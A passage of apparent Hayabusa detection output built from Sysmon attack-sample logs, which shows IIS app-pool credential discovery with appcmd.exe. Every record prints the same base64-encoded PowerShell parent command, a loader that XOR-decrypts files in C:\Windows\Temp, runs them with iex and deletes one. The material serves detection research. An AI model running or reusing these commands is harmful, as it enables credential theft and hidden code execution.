JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.121 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.202 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.282 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Description: Cannot read configuration file due to insufficient permissions"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.352 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Description: Cannot read configuration file due to insufficient permissions"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.432 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJ